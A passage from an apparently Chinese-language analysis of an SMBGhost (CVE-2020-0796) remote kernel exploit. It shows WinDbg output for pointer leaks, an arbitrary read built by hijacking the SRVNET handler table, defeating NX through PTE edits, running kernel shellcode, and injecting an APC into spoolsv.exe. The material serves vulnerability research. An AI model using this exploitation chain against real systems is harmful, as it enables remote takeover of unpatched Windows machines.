+0x020 StartVa : 0xffffa508`3506b000 Void
+0x028 ByteCount : 0xffffffb0
+0x02c ByteOffset : 0x848
kd> db ffffa50836241250
ffffa508`36241250 00 00 00 00 00 00 00 00-38 00 04 00 00 00 00 00 ........8.......
ffffa508`36241260 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`36241270 00 b0 06 35 08 a5 ff ff-b0 ff ff ff 48 08 00 00 ...5........H...
kd> ?poi(ffffa508`34803aa8+18) //AcceptSocket - 0x50
Evaluate expression: -100020308756408 = ffffa508`3506b848
由于之前flag加上了1，没有传输头，所以SRVNET_BUFFER_HDR偏移0x18处的user
data指针比之前多0x50（计算偏移的时候要注意）。这次将BufferFlags覆盖为0，在SrvNetFreeBuffer函数中就不会将其直接加入SrvNetBufferLookasides表，而是释放该缓冲区。
kd> dd r9-10
ffffa508`31ac9150 00000000 00000000 35caba58 ffffa508
ffffa508`31ac9160 00040002 00000000 31ab90a0 ffffa508
ffffa508`31ac9170 00010100 00000000 00010368 ffffa508
ffffa508`31ac9180 31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190 00000000 00000000 00000000 00000000
ffffa508`31ac91a0 36241250 ffffa508 00000000 00000000
kd> dd ffffa508`31ac9150
ffffa508`31ac9150 00000000 00000000 35caba58 ffffa508
ffffa508`31ac9160 00040000 00000000 31ab90a0 ffffa508
ffffa508`31ac9170 00010100 00000000 00010368 ffffa508
ffffa508`31ac9180 31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190 00000000 00000000 00000000 00000000
ffffa508`31ac91a0 36241250 ffffa508 00000000 00000000
后面还是和之前一样，依次从高地址到低地址泄露每一个字节，经过组合最终得到后面还是和之前一样，依次从高地址到低地址泄露每一个字节，经过组合最终得到AcceptSocket地址为
0xffffa5083506b848 – 0x50 = 0xffffa508`3506b7f8。
kd> db ffffa508`36241250+2d-10
ffffa508`3624126d 00 00 00 00 b0 06 35 08-a5 ff ff b0 ff ff ff 48 ......5........H
ffffa508`3624127d 08 b0 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`3624128d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`3624129d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`362412ad 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`362412bd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`362412cd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`362412dd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................................
kd> u poi(ffffa508`3506b7f8+30)
srvnet!SrvNetWskConnDispatch:
fffff802`57d3d170 50 push rax
fffff802`57d3d171 5a pop rdx
fffff802`57d3d172 d15702 rcl dword ptr [rdi+2],1
fffff802`57d3d175 f8 clc
fffff802`57d3d176 ff ???
fffff802`57d3d177 ff00 inc dword ptr [rax]
fffff802`57d3d179 6e outs dx,byte ptr [rsi]
fffff802`57d3d17a d15702 rcl dword ptr [rdi+2],1
采用同样的方法可获取AcceptSocket偏移0x30处的srvnet!SrvNetWskConnDispatch函数的地址。
### 泄露ntoskrnl基址
**任意地址读**
SrvNetCommonReceiveHandler函数中存在如下代码，其中v10指向SRVNET_RECV结构体，以下代码是对srv2!Srv2ReceiveHandler函数的调用（HandlerFunctions表中的第二项），第一个参数来自于SRVNET_RECV结构体偏移0x128处，第二个参数来自于SRVNET_RECV结构体偏移0x130处。可通过覆盖SRVNET_RECV结构偏移0x118、0x128、0x130处的数据，进行已知函数的调用（参数个数不大于2）。
//srvnet!SrvNetCommonReceiveHandler
v32 = *(_QWORD *)(v10 + 0x118);
v33 = *(_QWORD *)(v10 + 0x130);
v34 = *(_QWORD *)(v10 + 0x128);
*(_DWORD *)(v10 + 0x144) = 3;
v35 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD, _QWORD, __int64, __int64, __int64, __int64, __int64))(v32 + 8))( v34, v33, v8, (unsigned int)v11, v9, a5, v7, a7, v55);
以下为RtlCopyUnicodeString函数部分代码，该函数可通过srvnet!imp_RtlCopyUnicodeString索引，并且只需要两个参数（PUNICODE_STRING结构）。如下所示，PUNICODE_STRING中包含Length、MaximumLength（偏移2）和Buffer（偏移8）。RtlCopyUnicodeString函数会调用memmove将SourceString->Buffer复制到DestinationString->Buffer，复制长度为SourceString->Length和DestinationString->MaximumLength中的最小值。
//RtlCopyUnicodeString
void __stdcall RtlCopyUnicodeString(PUNICODE_STRING DestinationString, PCUNICODE_STRING SourceString)
{
v2 = DestinationString;
if ( SourceString )
{
v3 = SourceString->Length;
v4 = DestinationString->MaximumLength;
v5 = SourceString->Buffer;
if ( (unsigned __int16)v3 <= (unsigned __int16)v4 )
v4 = v3;
v6 = DestinationString->Buffer;
v7 = v4;
DestinationString->Length = v4;
memmove(v6, v5, v4);
//PUNICODE_STRING
typedef struct __UNICODE_STRING_
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
可通过覆盖HandlerFunctions，“替换”srv2!Srv2ReceiveHandler函数指针为nt!RtlCopyUnicodeString函数指针，覆盖DestinationString为已知地址的PUNICODE_STRING结构地址，SourceString为待读取地址的PUNICODE_STRING结构地址，然后通过向该连接继续发送请求实现任意地址数据读取。
**ntoskrnl泄露步骤**
1、首先还是要获取一个ConnectionBufferList的地址，本次调试为0xffffa50834ba42d8。
2、利用任意地址写，将特定数据写入可控的缓冲区（0x2100缓冲区）的已知偏移处。成功复制后，0xffffa50836241658处为0xffffa50836241670，正好指向复制数据的后面，0xffffa50836241668处为0xfffff80257d42210（srvnet!imp_IoSizeofWorkItem），指向nt!IoSizeofWorkItem函数（此次要泄露nt!IoSizeofWorkItem函数地址）。
//要复制的数据
kd> dd ffffa508`36240050
ffffa508`36240050 424d53fc ffffffff 00000001 00000020
ffffa508`36240060 00060006 00000000 36241670 ffffa508
ffffa508`36240070 00060006 00000000 57d42210 fffff802
kd> dd ffffa508`2fe38050+1100 //任意地址写，注意0xffffa5082fe39168处数据
ffffa508`2fe39150 35c3e150 ffffa508 34803a18 ffffa508
ffffa508`2fe39160 00000002 00000000 2fe38050 ffffa508
ffffa508`2fe39170 00001100 00000000 00001278 00000400
kd> p
srv2!Srv2DecompressData+0xe1:
fffff802`51ce7f41 85c0 test eax,eax
kd> dd ffffa508`2fe38050+1100 //要复制的可控地址（0x18处）
ffffa508`2fe39150 00000000 00000000 00000000 00000000
ffffa508`2fe39160 00000000 00000000 36241650 ffffa508
ffffa508`2fe39170 00001100 00000000 00001278 00000400
kd> g
copy: ffffa508`36241650 00000000`00000000 00000000`00000000
srv2!Srv2DecompressData+0x108:
fffff802`51ce7f68 e85376ffff call srv2!memcpy (fffff802`51cdf5c0)
kd> dd rcx
ffffa508`36241650 00000000 00000000 00000000 00000000
ffffa508`36241660 00000000 00000000 00000000 00000000
kd> p
srv2!Srv2DecompressData+0x10d:
fffff802`51ce7f6d 8b442460 mov eax,dword ptr [rsp+60h]
kd> dd ffffa508`36241650 //成功复制
ffffa508`36241650 00060006 00000000 36241670 ffffa508
ffffa508`36241660 00060006 00000000 57d42210 fffff802
//nt!IoSizeofWorkItem函数指针
kd> u poi(fffff80257d42210)
nt!IoSizeofWorkItem:
fffff802`52c7f7a0 b858000000 mov eax,58h
fffff802`52c7f7a5 c3 ret
3、利用任意地址写将srvnet!imp_RtlCopyUnicodeString指针-8的地址写入SRVNET_RECV结构偏移0x118处的HandlerFunctions，这样系统会认为nt!RtlCopyUnicodeString指针是srv2!Srv2ReceiveHandler函数指针。
kd> dd 0xffffa50834ba42d8-58+118 //HandlerFunctions
ffffa508`34ba4398 3479cd18 ffffa508 2f4a6dc0 ffffa508
ffffa508`34ba43a8 34ae4170 ffffa508 34f2a040 ffffa508
kd> u poi(ffffa5083479cd18+8) //覆盖前第二项为srv2!Srv2ReceiveHandler函数指针
srv2!Srv2ReceiveHandler:
fffff802`51cdc3b0 44894c2420 mov dword ptr [rsp+20h],r9d
fffff802`51cdc3b5 53 push rbx
fffff802`51cdc3b6 55 push rbp
fffff802`51cdc3b7 4154 push r12
fffff802`51cdc3b9 4155 push r13
fffff802`51cdc3bb 4157 push r15
fffff802`51cdc3bd 4883ec70 sub rsp,70h
fffff802`51cdc3c1 488b8424d8000000 mov rax,qword ptr [rsp+0D8h]
kd> g
copy: ffffa508`34ba4398 ffffa508`3479cd18 ffffa508`2f4a6dc0
srv2!Srv2DecompressData+0x108:
fffff802`51ce7f68 e85376ffff call srv2!memcpy (fffff802`51cdf5c0)
kd> p
srv2!Srv2DecompressData+0x10d:
fffff802`51ce7f6d 8b442460 mov eax,dword ptr [rsp+60h]
kd> dq ffffa508`34ba4398
ffffa508`34ba4398 fffff802`57d42280 ffffa508`2f4a6dc0
ffffa508`34ba43a8 ffffa508`34ae4170 ffffa508`34f2a040
kd> u poi(fffff802`57d42280+8) //覆盖前第二项为nt!RtlCopyUnicodeString函数指针
nt!RtlCopyUnicodeString:
fffff802`52d1c170 4057 push rdi
fffff802`52d1c172 4883ec20 sub rsp,20h
fffff802`52d1c176 488bc2 mov rax,rdx
fffff802`52d1c179 488bf9 mov rdi,rcx
fffff802`52d1c17c 4885d2 test rdx,rdx
fffff802`52d1c17f 745b je nt!RtlCopyUnicodeString+0x6c (fffff802`52d1c1dc)
fffff802`52d1c181 440fb700 movzx r8d,word ptr [rax]
fffff802`52d1c185 0fb74102 movzx eax,word ptr [rcx+2]
4、利用任意地址写分别将两个参数写入SRVNET_RECT结构的偏移0x128和0x130处，为HandlerFunctions中函数的前两个参数。
kd> dd 0xffffa50834ba42d8-58+118
ffffa508`34ba4398 57d42280 fffff802 2f4a6dc0 ffffa508
ffffa508`34ba43a8 36241650 ffffa508 36241660 ffffa508
5、向原始连接发送请求，等待srv2!Srv2ReceiveHandler函数（nt!RtlCopyUnicodeString函数）被调用，函数执行后，nt!IoSizeofWorkItem函数的低6个字节成功被复制到目标地址。
kd> dq ffffa508`36241670
ffffa508`36241670 0000f802`52c7f7a0 00000000`00000000
ffffa508`36241680 00000000`00000000 00000000`00000000
ffffa508`36241690 00000000`00000000 00000000`00000000
kd> u fffff802`52c7f7a0
nt!IoSizeofWorkItem:
fffff802`52c7f7a0 b858000000 mov eax,58h
fffff802`52c7f7a5 c3 ret
6、然后利用之前的方式将这6个字节依次泄露出来，加上0xffff000000000000，减去IoSizeofWorkItem函数在模块中的偏移得到ntoskrnl基址。
### Shellcode复制&&执行
1、获取PTE基址
利用任意地址读读取nt!MiGetPteAddress函数偏移0x13处的地址，低6位即可。然后加上0xffff000000000000得到PTE基址为0xFFFFF10000000000（0xfffff80252d03d39处第二个操作数）。
kd> u nt!MiGetPteAddress
nt!MiGetPteAddress:
fffff802`52d03d28 48c1e909 shr rcx,9
fffff802`52d03d2c 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
fffff802`52d03d36 4823c8 and rcx,rax
fffff802`52d03d39 48b80000000000f1ffff mov rax,0FFFFF10000000000h
fffff802`52d03d43 4803c1 add rax,rcx
fffff802`52d03d46 c3 ret
d> db nt!MiGetPteAddress + 13 l8
fffff802`52d03d3b 00 00 00 00 00 f1 ff ff ........
2、利用任意地址写将Shellcode复制到0xFFFFF78000000800处，在后续章节会对Shellcode进行进一步分析。
kd> u 0xFFFFF78000000800
fffff780`00000800 55 push rbp
fffff780`00000801 e807000000 call fffff780`0000080d
fffff780`00000806 e819000000 call fffff780`00000824
fffff780`0000080b 5d pop rbp
fffff780`0000080c c3 ret
fffff780`0000080d 488d2d00100000 lea rbp,[fffff780`00001814]
fffff780`00000814 48c1ed0c shr rbp,0Ch
fffff780`00000818 48c1e50c shl rbp,0Ch
3、计算Shellcode的PTE，依然采用nt!MiGetPteAddress函数中的计算公式。((0xFFFFF78000000800 >> 9 ) &
0x7FFFFFFFF8) + 0xFFFFF10000000000 = 0xFFFFF17BC0000000。然后取出Shellcode
PTE偏移7处的字节并和0x7F相与之后放回原处，去除NX标志位。
kd> db fffff17b`c0000000 //去NX标志前
fffff17b`c0000000 63 39 fb 00 00 00 00 80-00 00 00 00 00 00 00 00 c9..............
fffff17b`c0000010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
kd> dt _MMPTE_HARDWARE fffff17b`c0000000
nt!_MMPTE_HARDWARE
+0x000 Valid : 0y1
+0x000 Dirty1 : 0y1
+0x000 Owner : 0y0
+0x000 WriteThrough : 0y0
+0x000 CacheDisable : 0y0
+0x000 Accessed : 0y1
+0x000 Dirty : 0y1
+0x000 LargePage : 0y0
+0x000 Global : 0y1
+0x000 CopyOnWrite : 0y0
+0x000 Unused : 0y0
+0x000 Write : 0y1
+0x000 PageFrameNumber : 0y000000000000000000000000111110110011 (0xfb3)
+0x000 ReservedForHardware : 0y0000
+0x000 ReservedForSoftware : 0y0000
+0x000 WsleAge : 0y0000
+0x000 WsleProtection : 0y000
+0x000 NoExecute : 0y1
kd> db fffff17b`c0000000 //去NX标志后
fffff17b`c0000000 63 39 fb 00 00 00 00 00-00 00 00 00 00 00 00 00 c9..............
fffff17b`c0000010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
kd> dt _MMPTE_HARDWARE fffff17b`c0000000
nt!_MMPTE_HARDWARE
+0x000 Valid : 0y1
+0x000 Dirty1 : 0y1
+0x000 Owner : 0y0
+0x000 WriteThrough : 0y0
+0x000 CacheDisable : 0y0
+0x000 Accessed : 0y1
+0x000 Dirty : 0y1
+0x000 LargePage : 0y0
+0x000 Global : 0y1
+0x000 CopyOnWrite : 0y0
+0x000 Unused : 0y0
+0x000 Write : 0y1
+0x000 PageFrameNumber : 0y000000000000000000000000111110110011 (0xfb3)
+0x000 ReservedForHardware : 0y0000
+0x000 ReservedForSoftware : 0y0000
+0x000 WsleAge : 0y0000
+0x000 WsleProtection : 0y000
+0x000 NoExecute : 0y0
4、利用任意地址写将Shellcode地址（0xFFFFF78000000800）放入可控地址，然后采用已知函数调用的方法用指向Shellcode指针的可控地址减8的值覆写HandlerFunctions。使得HandlerFunctions中的srv2!Srv2ReceiveHandler函数指针被覆盖为Shellcode地址。然后向该连接发包，等待Shellcode被调用。另外，由于ntoskrnl基址已经被泄露出来，可以将其作为参数传给Shellcode，在Shellcode中就不需要获取ntoskrnl基址了。
kd> dq ffffa508`34ba42d8-58+118 l1
ffffa508`34ba4398 ffffa508`36241648
kd> u poi(ffffa508`36241648+8)
fffff780`00000800 55 push rbp
fffff780`00000801 e807000000 call fffff780`0000080d
fffff780`00000806 e819000000 call fffff780`00000824
fffff780`0000080b 5d pop rbp
fffff780`0000080c c3 ret
fffff780`0000080d 488d2d00100000 lea rbp,[fffff780`00001814]
fffff780`00000814 48c1ed0c shr rbp,0Ch
fffff780`00000818 48c1e50c shl rbp,0Ch
kd> dq ffffa508`34ba42d8-58+128 l1
ffffa508`34ba43a8 fffff802`52c12000
kd> lmm nt
Browse full module list
start end module name
fffff802`52c12000 fffff802`536c9000 nt (pdb symbols) C:\ProgramData\Dbg\sym\ntkrnlmp.pdb\5A8A70EAE29939EFA17C9FC879FA0D901\ntkrnlmp.pdb
kd> g
Breakpoint 0 hit
fffff780`00000800 55 push rbp
kd> r rcx //ntoskrnl基址
rcx=fffff80252c12000
## Shellcode分析
本分析参考以下链接：<https://github.com/ZecOps/CVE-2020-0796-RCE-POC/blob/master/smbghost_kshellcode_x64.asm>
### 寻找ntoskrnl.exe基址
获取内核模块基址在漏洞利用中是很关键的事情，在后面会用到它的很多导出函数。这里列出常见的一种获取ntoskrnl.exe基址的思路：
通过KPCR找到IdtBase，然后根据IdtBase寻找中断0的ISR入口点，该入口点属于ntoskrnl.exe模块，所以可以在找到该地址后向前搜索找到ntoskrnl.exe模块基址。
在64位系统中，GS段寄存器在内核态会指向KPCR，KPCR偏移0x38处为IdtBase：
3: kd> rdmsr 0xC0000101
msr[c0000101] = ffffdc81`fe1c1000
3: kd> dt _kpcr ffffdc81`fe1c1000
nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 GdtBase : 0xffffdc81`fe1d6fb0 _KGDTENTRY64
+0x008 TssBase : 0xffffdc81`fe1d5000 _KTSS64
+0x010 UserRsp : 0x10ff588
+0x018 Self : 0xffffdc81`fe1c1000 _KPCR
+0x020 CurrentPrcb : 0xffffdc81`fe1c1180 _KPRCB
+0x028 LockArray : 0xffffdc81`fe1c1870 _KSPIN_LOCK_QUEUE
+0x030 Used_Self : 0x00000000`00e11000 Void
+0x038 IdtBase : 0xffffdc81`fe1d4000 _KIDTENTRY64
......
+0x180 Prcb : _KPRCB
ISR入口点在_KIDTENTRY64结构体中被分成三部分：OffsetLow、OffsetMiddle 以及 OffsetHigh。其计算公式为：(
OffsetHigh << 32 ) | ( OffsetMiddle << 16 ) | OffsetLow
，如下所示，本次调试的入口地址实际上是0xfffff8004f673d00，该地址位于ntoskrnl.exe模块。
3: kd> dx -id 0,0,ffff818c6286f040 -r1 ((ntkrnlmp!_KIDTENTRY64 *)0xffffdc81fe1d4000)
((ntkrnlmp!_KIDTENTRY64 *)0xffffdc81fe1d4000) : 0xffffdc81fe1d4000 [Type: _KIDTENTRY64 *]
[+0x000] OffsetLow : 0x3d00 [Type: unsigned short]
[+0x002] Selector : 0x10 [Type: unsigned short]
[+0x004 ( 2: 0)] IstIndex : 0x0 [Type: unsigned short]
[+0x004 ( 7: 3)] Reserved0 : 0x0 [Type: unsigned short]
[+0x004 (12: 8)] Type : 0xe [Type: unsigned short]
[+0x004 (14:13)] Dpl : 0x0 [Type: unsigned short]
[+0x004 (15:15)] Present : 0x1 [Type: unsigned short]
[+0x006] OffsetMiddle : 0x4f67 [Type: unsigned short]
[+0x008] OffsetHigh : 0xfffff800 [Type: unsigned long]
[+0x00c] Reserved1 : 0x0 [Type: unsigned long]
[+0x000] Alignment : 0x4f678e0000103d00 [Type: unsigned __int64]
3: kd> u 0xfffff8004f673d00
nt!KiDivideErrorFault:
fffff800`4f673d00 4883ec08 sub rsp,8
fffff800`4f673d04 55 push rbp
fffff800`4f673d05 4881ec58010000 sub rsp,158h
fffff800`4f673d0c 488dac2480000000 lea rbp,[rsp+80h]
fffff800`4f673d14 c645ab01 mov byte ptr [rbp-55h],1
fffff800`4f673d18 488945b0 mov qword ptr [rbp-50h],rax
可直接取IdtBase偏移4处的QWORD值，与0xfffffffffffff000相与，然后进行页对齐向前搜索，直到匹配到魔值”\x4D\x5A”（MZ），此时就得到了ntoskrnl.exe基址。有了ntoskrnl.exe模块的基址，就可以通过遍历导出表获取相关函数的地址。
3: kd> dq 0xffffdc81`fe1d4000+4 l1
ffffdc81`fe1d4004 fffff800`4f678e00
3: kd> lmm nt
Browse full module list
start end module name
fffff800`4f4a7000 fffff800`4ff5e000 nt (pdb symbols) C:\ProgramData\Dbg\sym\ntkrnlmp.pdb\5A8A70EAE29939EFA17C9FC879FA0D901\ntkrnlmp.pdb
3: kd> db fffff800`4f4a7000
fffff800`4f4a7000 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ..............
fffff800`4f4a7010 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@.......
fffff800`4f4a7020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fffff800`4f4a7030 00 00 00 00 00 00 00 00-00 00 00 00 08 01 00 00 ................
fffff800`4f4a7040 0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68 ........!..L.!Th
fffff800`4f4a7050 69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f is program canno
fffff800`4f4a7060 74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20 t be run in DOS
fffff800`4f4a7070 6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00 mode....$.......
### 获取目标KTHREAD结构
在x64系统上（调试环境），KPCR偏移0x180处为KPRCB结构，KPRCB结构偏移8处为_KTHREAD结构的CurrentThread。_KTHREAD结构偏移0x220处为
_KPROCESS结构。KPROCESS结构为EPROCESS的第一项，EPROCESS结构偏移0x488为_LIST_ENTRY结构的ThreadListHead。
3: kd> dt nt!_kpcr ffffdc81`fe1c1000
nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 GdtBase : 0xffffdc81`fe1d6fb0 _KGDTENTRY64
+0x008 TssBase : 0xffffdc81`fe1d5000 _KTSS64
+0x010 UserRsp : 0x10ff588
+0x018 Self : 0xffffdc81`fe1c1000 _KPCR
+0x020 CurrentPrcb : 0xffffdc81`fe1c1180 _KPRCB
+0x028 LockArray : 0xffffdc81`fe1c1870 _KSPIN_LOCK_QUEUE
+0x030 Used_Self : 0x00000000`00e11000 Void
+0x038 IdtBase : 0xffffdc81`fe1d4000 _KIDTENTRY64
......
+0x180 Prcb : _KPRCB
3: kd> dx -id 0,0,ffff818c6286f040 -r1 (*((ntkrnlmp!_KPRCB *)0xffffdc81fe1c1180))
(*((ntkrnlmp!_KPRCB *)0xffffdc81fe1c1180)) [Type: _KPRCB]
[+0x000] MxCsr : 0x1f80 [Type: unsigned long]
[+0x004] LegacyNumber : 0x3 [Type: unsigned char]
[+0x005] ReservedMustBeZero : 0x0 [Type: unsigned char]
[+0x006] InterruptRequest : 0x0 [Type: unsigned char]
[+0x007] IdleHalt : 0x1 [Type: unsigned char]
[+0x008] CurrentThread : 0xffffdc81fe1d2140 [Type: _KTHREAD *]
3: kd> dx -id 0,0,ffff818c6286f040 -r1 ((ntkrnlmp!_KTHREAD *)0xffffdc81fe1d2140)
((ntkrnlmp!_KTHREAD *)0xffffdc81fe1d2140) : 0xffffdc81fe1d2140 [Type: _KTHREAD *]
[+0x000] Header [Type: _DISPATCHER_HEADER]
[+0x018] SListFaultAddress : 0x0 [Type: void *]
[+0x020] QuantumTarget : 0x791ddc0 [Type: unsigned __int64]
[+0x028] InitialStack : 0xfffff6074c645c90 [Type: void *]
[+0x030] StackLimit : 0xfffff6074c640000 [Type: void *]
[+0x038] StackBase : 0xfffff6074c646000 [Type: void *]
......
[+0x220] Process : 0xfffff8004fa359c0 [Type: _KPROCESS *]
3: kd> dt _eprocess 0xfffff8004fa359c0
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : (null)
+0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
......
+0x450 ImageFileName : [15] "Idle"
......
+0x488 ThreadListHead : _LIST_ENTRY [ 0xfffff800`4fa38ab8 - 0xffffdc81`fe1d27f8 ]
+ nt!PsGetProcessImageFileName
通过此函数得到ImageFileName在EPROCESS中的偏移（0x450），然后通过一些判断和计算获得ThreadListHead在EPROCESS中的偏移（调试环境为0x488）。
* nt!IoThreadToProcess
从KTHREAD结构中得到KPROCESS（EPROCESS）结构体的地址（偏移0x220处）。然后通过之前计算出的偏移获取ThreadListHead结构，通过访问ThreadListHead结构获取ThreadListEntry（位于ETHREAD），遍历ThreadListEntry以计算KTHREAD（ETHREAD）相对于ThreadListEntry的偏移，自适应相关吧。
kd> u rip
nt!IoThreadToProcess:
fffff805`39a79360 488b8120020000 mov rax,qword ptr [rcx+220h]
fffff805`39a79367 c3 ret
kd> g
Breakpoint 0 hit
fffff780`0000091d 4d29ce sub r14,r9
kd> ub rip
fffff780`00000900 4d89c1 mov r9,r8
fffff780`00000903 4d8b09 mov r9,qword ptr [r9]
fffff780`00000906 4d39c8 cmp r8,r9
fffff780`00000909 0f84e4000000 je fffff780`000009f3
fffff780`0000090f 4c89c8 mov rax,r9
fffff780`00000912 4c29f0 sub rax,r14
fffff780`00000915 483d00070000 cmp rax,700h
fffff780`0000091b 77e6 ja fffff780`00000903
kd> dt _ethread @r14 -y ThreadListEntry
nt!_ETHREAD
+0x6b8 ThreadListEntry : _LIST_ENTRY [ 0xffffca8d`1382f6f8 - 0xffffca8d`1a0d36f8 ]
kd> dq r9 l1
ffffca8d`1a0d2738 ffffca8d`1382f6f8
kd> ? @r9-@r14
Evaluate expression: 1720 = 00000000`000006b8
* nt!PsGetCurrentProcess
通过nt!PsGetCurrentProcess获取当前线程所在进程的指针 （KPROCESS /
EPRROCESS
地址），该指针存放在KTHREAD偏移0xB8处：通过KTHREAD偏移0x98访问ApcState；然后通过ApcState（KAPC_STATE结构）偏移0x20访问EPROCESS（KPROCESS）。
kd> u rax
nt!PsGetCurrentProcess:
fffff800`4f5a9ca0 65488b042588010000 mov rax,qword ptr gs:[188h]
fffff800`4f5a9ca9 488b80b8000000 mov rax,qword ptr [rax+0B8h]
fffff800`4f5a9cb0 c3 ret
kd> dt _kthread @rax
nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
......
+0x098 ApcState : _KAPC_STATE
kd> dx -id 0,0,ffffca8d10ea3340 -r1 (*((ntkrnlmp!_KAPC_STATE *)0xffffca8d1a0d2118))
(*((ntkrnlmp!_KAPC_STATE *)0xffffca8d1a0d2118)) [Type: _KAPC_STATE]
[+0x000] ApcListHead [Type: _LIST_ENTRY [2]]
[+0x020] Process : 0xffffca8d10ea3340 [Type: _KPROCESS *]
[+0x028] InProgressFlags : 0x0 [Type: unsigned char]
* nt!PsGetProcessId
通过nt!PsGetProcessId函数得到UniqueProcessId在EPROCESS结构中的偏移（0x2e8），然后通过加8定位到ActiveProcessLinks。通过遍历ActiveProcessLinks来访问不同进程的EPROCESS结构，通过比较EPROCESS中ImageFileName的散列值来寻找目标进程（”spoolsv.exe”）。
kd> g
Breakpoint 1 hit
fffff780`0000096e bf48b818b8 mov edi,0B818B848h
kd> dt _EPROCESS @rcx
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : 0x00000000`0000074c Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0xffffca8d`179455f0 - 0xffffca8d`13fa15f0 ]
......
+0x450 ImageFileName : [15] "spoolsv.exe"
* nt!PsGetProcessPeb && nt!PsGetThreadTeb
然后通过调用nt!PsGetProcessPeb，获取”spoolsv.exe”的PEB结构（偏移0x3f8处）并保存起来，然后通过ThreadListHead遍历ThreadListEntry，以寻找一个Queue不为0的KTHREAD（可通过nt!PsGetThreadTeb函数获取TEB结构在KTHREAD结构中的偏移，然后减8得到Queue）。
kd> dt _EPROCESS @rcx
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : 0x00000000`0000074c Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0xffffca8d`179455f0 - 0xffffca8d`13fa15f0 ]
......
+0x3f8 Peb : 0x00000000`00360000 _PEB
......
+0x488 ThreadListHead : _LIST_ENTRY [ 0xffffca8d`18313738 - 0xffffca8d`178e9738 ]
kd> dt _kTHREAD @rdx
nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x018 SListFaultAddress : (null)
+0x020 QuantumTarget : 0x3b5dc10
+0x028 InitialStack : 0xfffffe80`76556c90 Void
+0x030 StackLimit : 0xfffffe80`76551000 Void
+0x038 StackBase : 0xfffffe80`76557000 Void
......
+0x0e8 Queue : 0xffffca8d`1307d180 _DISPATCHER_HEADER
+0x0f0 Teb : 0x00000000`00387000 Void
kd> r rdx //目标KTHREAD
rdx=ffffca8d178e9080
kd> dt _ETHREAD @rdx //感觉这个没啥用，先留着
nt!_ETHREAD
+0x000 Tcb : _KTHREAD
......
+0x6b8 ThreadListEntry : _LIST_ENTRY [ 0xffffca8d`18cbe6c8 - 0xffffca8d`16d2e738 ]
### 向目标线程插入APC对象
* nt!KeInitializeApc
通过调用nt!KeInitializeApc函数来初始化APC对象（KAPC类型)。如下所示，第一个参数指明了待初始化的APC对象，第二个参数关联上面的kTHREAD结构，第四个参数为KernelApcRoutine函数指针，第七个参数指明了UserMode：
; KeInitializeApc(PKAPC, //0xfffff78000000e30
; PKTHREAD, //0xffffca8d178e9080
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
; PKKERNEL_ROUTINE = kernel_apc_routine, //0xfffff78000000a62
; PKRUNDOWN_ROUTINE = NULL,
; PKNORMAL_ROUTINE = userland_shellcode, ;fffff780`00000e00
; KPROCESSOR_MODE = UserMode (1),
; PVOID Context); ;fffff780`00000e00
lea rcx, [rbp+DATA_KAPC_OFFSET] ; PAKC
xor r8, r8 ; OriginalApcEnvironment
lea r9, [rel kernel_kapc_routine] ; KernelApcRoutine
push rbp ; context
push 1 ; UserMode
push rbp ; userland shellcode (MUST NOT be NULL)
push r8 ; NULL
sub rsp, 0x20 ; shadow stack
mov edi, KEINITIALIZEAPC_HASH
call win_api_direct
//初始化后的KAPC结构
kd> dt _kapc fffff78000000e30
nt!_KAPC
+0x000 Type : 0x12 ''
+0x001 SpareByte0 : 0 ''
+0x002 Size : 0x58 'X'
+0x003 SpareByte1 : 0 ''
+0x004 SpareLong0 : 0
+0x008 Thread : 0xffffca8d`178e9080 _KTHREAD
+0x010 ApcListEntry : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
+0x020 KernelRoutine : 0xfffff780`00000a62 void +fffff78000000a62
+0x028 RundownRoutine : (null)
+0x030 NormalRoutine : 0xfffff780`00000e00 void +fffff78000000e00
+0x020 Reserved : [3] 0xfffff780`00000a62 Void
+0x038 NormalContext : 0xfffff780`00000e00 Void
+0x040 SystemArgument1 : (null)
+0x048 SystemArgument2 : (null)
+0x050 ApcStateIndex : 0 ''
+0x051 ApcMode : 1 ''
